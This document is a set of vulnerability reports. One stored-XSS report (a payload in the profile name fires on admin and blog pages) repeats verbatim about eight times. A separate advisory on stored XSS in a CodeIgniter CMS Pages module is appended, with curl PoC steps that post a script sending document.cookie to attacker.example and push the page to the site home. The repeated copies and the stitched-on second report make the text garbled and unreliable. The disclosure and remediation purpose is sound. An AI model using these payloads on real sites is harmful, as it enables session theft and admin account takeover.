Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

Vulnerability 1: Stored DOM XSS via Profile Name Update (Persistent Payload Injection)

• Stored Cross-Site Scripting via Unsanitized User Name in Profile Management

Description

The application fails to properly sanitize user-controlled input when users update their profile name (e.g., full name / username). An attacker can inject a malicious JavaScript payload into their profile name, which is then stored server-side.

This stored payload is later rendered unsafely in multiple application views without proper output encoding, leading to stored cross-site scripting (XSS).

Affected Functionality

• Profile name / full name update functionality (both the 2 user inputs)
• User profile storage and retrieval logic

Attack Scenario

• An attacker updates their profile name to include a malicious XSS payload.
• The application stores this value without sanitization or encoding.
• The payload persists and executes whenever the name is rendered in affected views.

Impact

• Persistent Stored XSS
• Execution of arbitrary JavaScript in victims’ browsers
• Foundation for privilege escalation and account takeover when viewed by privileged users & normal ones across blogs and public facing pages that show user profiles full names

Endpoint: /backend/users/profile/

Vulnerability 2: Stored XSS via User Name Rendering Across Multiple Endpoints (Privilege Escalation)

(Required for the chain)

• Stored XSS via Unsafe Rendering of User Names Across Administrative and Public Interfaces

Description

User-controlled profile fields (specifically the username / full name) are rendered unsafely across multiple application endpoints, including administrative and content-related interfaces. The application fails to apply proper output encoding when displaying these values.

When an administrator accesses affected pages, the stored XSS payload executes in the administrator’s browser context, resulting in administrative privilege escalation and potential full admin account takeover.

This issue is not limited to a single endpoint and affects all areas where the username is rendered, including but not limited to:

• User management interfaces
• Blog pages
• Other content or UI components displaying usernames

Attack Scenario

• Attacker injects a malicious payload via the profile name update functionality.
• The payload is stored persistently.
• An administrator views the user management page or any affected interface.
• The payload executes automatically in the admin’s browser.
• Attacker hijacks the admin session, performs privileged actions, or fully compromises the admin account.

Impact

• Stored XSS
• Administrative privilege escalation
• Full admin account takeover (including other roles)
• Full compromise of the entire application

Endpoint Example: /backend/users/ of User Management Page

Steps To Reproduce (POC)

1. Go to Profile Management page of the User
2. In the 2 user inputs of the Full Name, put in any field of them a XSS Payload such as: <img src=x onerror=alert(document.domain)>
3. Save the edit
4. Go to User Management page as an Admin or any other role
5. Notice the XSS alert popping up that confirms it
6. Other endpoints aswell can execute such as blogs in the public facing one

Recommended Remediation

1. Eliminate Unsafe DOM Sinks: Remove all usage of .html(), innerHTML, and similar unsafe DOM manipulation methods throughout the application. These sinks should be replaced with safe alternatives such as .text() or textContent, which do not interpret HTML markup.

2. Implement Output Encoding: Apply context-appropriate HTML entity encoding to all user-controlled data before rendering it in the DOM. This ensures that any special characters (e.g., <, >, ", ') are rendered as literal text rather than interpreted as executable markup.

3. Implement Server-Side Input Sanitization: Enforce strict input validation and sanitization on all user-controlled fields — particularly the profile name fields — at the server level before storing values in the database. Currently, no sanitization is applied to these inputs.

4. Apply Defense in Depth: Even in cases where user input does not appear to flow directly into a dangerous sink, it should still be treated as untrusted. Attackers can and will leverage indirect data flows to exploit the application. A layered approach combining input validation, output encoding, and Content Security Policy (CSP) headers is strongly recommended.

Ready Video POC:

https://mega.nz/file/iEVEyT4Y#f046o6ZwYBfS1kK0HNKOCFm6tL_8_SbLtWWKC1hYC4M

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

• Pages::create() registers the rule at line 82:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
  

  Then at lines 102–113 it reads the raw POST and inserts it untouched:

  $langsData = $this->request->getPost('lang') ?? [];
  ...
  $this->commonModel->create('pages_langs', [
      ...
      'content' => $lData['content'],   // line 111 — RAW
      ...
  ]);
  

• Pages::update() mirrors the same pattern at lines 130 and 157:

  'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
  ...
  'content' => $lData['content'],   // line 157 — RAW
  

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

• Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
• Different table (pages_langs.content vs blog_langs.content)
• Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
• Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
• Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

• Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
• Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
• Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
• Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Summary

